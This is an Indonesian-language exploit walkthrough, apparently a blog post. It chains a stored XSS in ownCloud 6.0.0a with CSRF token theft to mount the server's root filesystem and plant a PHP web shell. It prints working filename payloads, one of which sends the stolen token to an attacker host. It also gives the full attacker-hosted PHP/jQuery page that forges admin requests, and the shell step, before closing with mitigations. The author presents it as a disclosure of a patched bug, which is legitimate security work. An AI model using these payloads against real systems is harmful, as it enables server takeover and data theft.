Biasanya kerentanan Cross-Site Scripting (XSS) dianggap sebagai masalah "prioritas rendah" atau sesuatu yang berdampak minimal pada keamanan. Sering kali pola pikir ini mengakibatkan patch yang tertunda untuk masalah XSS karena ada "prioritas lebih tinggi" yang perlu ditangani. Ini adalah pola pikir yang berbahaya karena sering kali membahayakan server atau privasi pengguna jauh lebih rumit daripada menggunakan satu eksploitasi. Peretasan adalah tentang menggunakan kreativitas dan dengan kreativitas yang cukup, bahkan kerentanan XSS "kecil" akan membuka jalan bagi konsekuensi yang menghancurkan.
Hari ini saya akan menunjukkan bahwa kerentanan XSS "prioritas rendah" dan sedikit kreativitas dari peretas jahat dapat sangat membahayakan seluruh server. Pengumuman eksploitasi asli saya dapat ditemukan di sini . Saya melaporkan masalah tersebut ke tim keamanan ownCloud beberapa waktu lalu dan masalah tersebut telah diperbaiki di 6.0.1.
Perlu diingat bahwa jika Anda ingin mencobanya sendiri, pastikan untuk mengubah IP/alamat/nama akun dalam kode. Selain itu, jika Anda mengalami masalah (hukum atau lainnya), maka Anda tidak dapat menyalahkan saya atas perilaku sembrono Anda sendiri. Posting ini hanya bertujuan untuk mendidik.
Harap diperhatikan: Saya memahami bahwa mungkin ada cara lain untuk memanfaatkan kerentanan XSS ini untuk memiliki server. Namun, karena nama file di Linux dibatasi hingga 255 karakter, saya rasa ini adalah metode yang paling mudah.
​​Pengaturan kami:
Server: Debian 7.3.0 64-bit
Konfigurasi: LAMP (Linux, Apache, MySQL, dan PHP) Umum
Aplikasi Web: ownCloud 6.0.0a
Mesin Penyerang: Kali Linux
Peramban yang rentan: Iceweasel 22.0; Internet Explorer 11.
Kami mulai dengan instalasi bersih server LAMP dan ownCloud 6.0.0a. Basis data yang Anda pilih selama instalasi ownCloud tidak menjadi masalah. Pengguna admin dapat berupa nama apa pun yang Anda suka. Dalam video, kami menggunakan "admin".
Setelah Anda menyiapkan, buat akun lain bernama "hacker". Pengguna ini seharusnya tidak termasuk dalam grup mana pun.
Anda sekarang seharusnya memiliki dua akun pengguna:
Jika Anda ingin menjaga semuanya tetap bersih, pastikan untuk masuk ke kedua akun dan menghapus semua file bawaan akun baru. Meskipun tidak perlu memiliki folder yang bersih untuk latihan ini, hal ini membantu membuat semuanya tampak teratur.
Sekarang, kita siap untuk memulai.
- Menemukan Kerentanan
OwnCloud mencegah pembuatan file dengan karakter berikut dalam namanya:
- '\', '/', '<', '>', ':', '"', '|', '?' dan '*' tidak diizinkan.
Hal ini dapat dipahami dan banyak aplikasi cloud melakukan hal yang sama. Salah satu alasan untuk mencegah karakter ini adalah untuk mengurangi potensi kerentanan XSS yang mungkin ada dalam kode yang tidak membersihkan nama file sebelum menampilkannya kepada pengguna.
OwnCloud tidak akan mengizinkan kita untuk langsung membuat file baru yang berisi karakter yang tidak valid, tetapi kita tentu dapat mencoba untuk melewati batasan ini. Saya menunjukkan satu metode dalam video di atas, tetapi metode lainnya adalah dengan menggunakan BurpSuite.
Kita akan membuat file bernama "<img src=x onerror=alert(0);>" untuk menyajikan bukti konsep bahwa kita dapat membuat file dengan karakter yang tidak valid. Setelah kita membuat file ini, kita akan menunjukkan bahwa kita dapat menyebabkan kode JavaScript ini dijalankan ketika kita mencoba menghapus file https://www.youtube.com/embed/eA2_7xvDYCQ?rel=0&vq=hd720&wmode=opaque Ini bagus: kita memiliki kerentanan XSS!
- Membuat Muatan dan Rencana
Apa yang harus kita lakukan? Salah satu pilihannya adalah mencoba membuka iframe. Akan tetapi, kita tidak dapat melakukannya karena HTML mengharuskan tag iframe ditutup dengan . Karena server web menjalankan Linux, karakter '/' tidak sah dalam nama file dan karenanya kita tidak dapat melakukannya.
Yang dapat kita lakukan adalah mengarahkan korban ke server penyerang kita. Ini dapat dilakukan dengan contoh nama file berikut:
<img src=x onerror="document.location='http://noobroot.com'";>.txt |
Ada beberapa hal yang perlu diperhatikan tentang kode ini.
- Ini adalah muatan XSS standar yang dapat digunakan saat tag penutup tidak dapat digunakan (seperti dalam kasus kami). Seperti yang Anda lihat, nilai "src" selalu tidak valid sehingga ini akan menyebabkan kode kami di depan "onerror" dieksekusi.
- URL yang kami kirim ke korban kami adalah http://noobroot.com. Seperti yang dapat kita lihat, URL ini berisi karakter tidak valid '/' yang tidak dapat kita gunakan. Kita dapat mengatasinya dengan menggunakan entitas HTML / sebagai ganti setiap karakter '/' karena setiap entitas menggantikan teks sebenarnya. Ini juga menjelaskan mengapa kita tidak dapat menggunakan </iframe> untuk menutup iframe kita.
- Kita harus mengakhiri payload kita dengan ekstensi seperti txt. Jika tidak, payload kita akan terpotong di bagian .com karena ownCloud akan menganggapnya sebagai ekstensi:
<img src=x onerror="lokasi dokumen='http://noobroot.com '";>
Bagian yang berwarna kuning adalah muatan kita. Karena kodenya tidak valid, muatan itu tidak akan dijalankan.
Untuk menguji muatan baru kita, kita akan mempermudah dan melewati penggunaan BurpSuite. Sebagai gantinya, kita akan membuat berkas ini di sistem kita dan kemudian mengunggahnya dengan cara normal seperti pengguna mengunggah berkas di ownCloud. Anda akan melihat bahwa ketika Anda mengunggahnya, kode tersebut langsung dijalankan di sistem Anda sendiri. Abaikan saja ini. Setelah berkas diunggah, uji apakah muatan berbahaya kita berfungsi ketika kita mencoba menghapusnya. Yang perlu kita lakukan sekarang adalah membagikan berkas ini dengan administrator situs!
Jadi sekarang kita dapat mengarahkan korban kita ke situs web mana pun yang kita suka, ke mana kita akan mengarahkannya dan apa yang akan kita lakukan? Mari kita kuasai servernya! Bagaimana kita melakukannya? Nah, ownCloud memungkinkan administrator situs untuk mengaktifkan add-on guna memasang sumber penyimpanan eksternal seperti Box.com, Google Drive, hard drive eksternal, dan bahkan sistem berkas lokal server. Secara default, add-on External Storage Support dinonaktifkan dan meskipun diaktifkan, kecil kemungkinan seluruh sistem berkas akan dipasang.
Ini tidak masalah. Sebagai penyerang, kita dapat menggunakan kerentanan XSS yang baru kita temukan untuk mencuri token CSRF dan memaksa administrator untuk mengaktifkan External Storage Support dan memasang sistem berkas lokal server ke akun ownCloud milik penyerang.
Bagaimana kita bisa mendapatkan token CSRF? Nilai token sebenarnya ada di tag head dalam kode HTML:
Dengan memodifikasi muatan XSS kami untuk mengambil token ini:
<img src=x onerror="var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken'); document.location='http://noobroot.com/owncloudhack.php?rt='+z";>.txt |
Untuk memahami hal ini, mari kita lihat apa yang dilakukan bagian dalam event handler "onerror":
1) var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken');
2) document.location='http://noobroot.com/owncloudhack.php?rt='+z
Kita dapat melihat bahwa kode dalam 1) memperoleh nilai data-requesttoken dan menetapkan variabel z ke dalamnya. Dan, kita dapat melihat bahwa 2) mengubah halaman dokumen menjadi http://noobroot.com/owncloudhack.php dan meneruskan z (yang berisi token) sebagai nilai parameter untuk rt.
- Berusaha Melakukan Kill di website
Sekarang setelah kita memiliki akses ke token CSRF, saatnya untuk memanfaatkannya. Kita akan menggunakan PHP dan jQuery untuk membuat permintaan ke ownCloud untuk:
- aktifkan penyimpanan eksternal,
- memasang sistem file lokal server untuk penyerang, dan
- mengarahkan admin kembali ke akun ownCloud miliknya.
Kode berikut, yang akan kita sebut "owncloudhack.php" dan dihosting di server web, akan mengurus hal ini untuk kita:
<!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>OwnCloud 6.0.0a XSS and CSRF Protection Bypass</title> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"> </script> </head> <body> <span id="container"></span> <form id="form1"> <input type="hidden" name="mountPoint" value="LOL"> <input type="hidden" name="class" value="\OC\Files\Storage\Local"> <input type="hidden" name="classOptions[datadir]" value="/"> <input type="hidden" name="mountType" value="user"> <input type="hidden" name="applicable" value="hacker"> <input type="hidden" name="isPersonal" value="false"> <?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?> </form> <script> $('#form1').submit(function(event) { event.preventDefault(); $.ajax({ type: 'POST', url: 'http://192.168.196.243/index.php/apps/files_external/ajax/addMountPoint.php', data: $(this).serialize(), xhrFields: { withCredentials: true }, dataType: 'json', }); }); </script> <form id="form2"> <input type="hidden" name="appid" value="files_external"> <?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?> </form> <script> $('#form2').submit(function(event) { event.preventDefault(); $.ajax({ type: 'POST', url: 'http://192.168.196.243/index.php/settings/ajax/enableapp.php', data: $(this).serialize(), xhrFields: { withCredentials: true }, dataType: 'json', }); }); function ext() { $('#form2').submit(); $("#container").text("Enabling External Storage..."); }; function mount() { $('#form1').submit(); $("#container").text("Mounting the root filesystem..."); }; function redirect() { window.location.href = 'http://192.168.196.243/'; $("#container").text("Redirecting back home ;)"); }; setTimeout(function() {ext();}, 0); setTimeout(function() {mount();}, 5000); setTimeout(function() {redirect();}, 5500); </script> </body> </html> |
Satu-satunya parameter yang diambil kode ini adalah rt, yang seharusnya merupakan token permintaan. Ketika nilai ini diberikan, sejumlah permintaan POST yang valid dibuat tanpa sepengetahuan administrator ownCloud.
Ketika administrator diarahkan kembali ke server ownCloud miliknya, akan tampak seolah-olah file tersebut telah dihapus dan selain pengalihan singkat yang sangat aneh, sekilas semuanya tampak normal.
Kita seharusnya dapat meletakkan owncloudhack.php pada server penyerang dan menggabungkannya dengan file XSS untuk memperoleh akses ke server.
- Perampokan
Sekarang saatnya memasang shell di server. Ini juga bagian yang mudah!
Dengan asumsi bahwa kita meminta admin untuk mencoba menghapus file berbahaya yang kita bagikan dengannya dan skrip kita berhasil memaksa pemasangan sistem berkas root ke akun ownCloud kita, kita akan melihat folder "LOL" baru untuk akun kita:
Ini adalah alias yang digunakan skrip PHP kita untuk sistem berkas root!
Jika kita menelusurinya, kita akan melihat bahwa kita memiliki akses ke semua hal yang dapat diakses oleh pengguna www-data. Misalnya, kita dapat menavigasi ke /var/www:
Di dalam /var/www, mari buat skrip shell PHP dasar yang disebut shell.php:
Sekarang, kita seharusnya dapat menavigasi ke http://192.168.196.243/shell.php?cmd=id untuk menjalankan perintah 'id':
Dari sini, sisanya terserah Anda 🙂
- Mitigasi
Jika Anda menjalankan ownCloud, sebaiknya Anda selalu memperbaruinya. Versi terbaru telah ditambal untuk mengatasi masalah ini karena saya telah melaporkannya kepada pengembang.
Di sisi klien, ada beberapa hal yang dapat dilakukan. Jika ada file mencurigakan yang dibagikan kepada Anda, Anda dapat mencegah serangan dengan menghubungkan ke server Anda melalui SSH dan menghapus file tersebut secara manual dari sistem. Selain itu, gunakan Firefox atau Google Chrome. Internet Explorer dan Iceweasel rentan terhadap serangan ini. Pilihan lainnya adalah menggunakan NoScript untuk browser berbasis Mozilla (seperti FireFox, Iceweseal, Waterfox, dll).
Mengenai masalah CSRF, tidak ada yang dapat dilakukan di sisi klien. Namun, hal baiknya adalah ownCloud menggunakan token dan tanpa bantuan serangan XSS, token ini akan mencegah browser Anda memenuhi permintaan yang tidak Anda maksudkan.
Terakhir, untuk server hardening: praktik dasar berlaku di sini. Misalnya:
- Nonaktifkan fungsi PHP seperti sistem, eval, dll.
- Tetapkan izin yang benar untuk web root.
- Dll...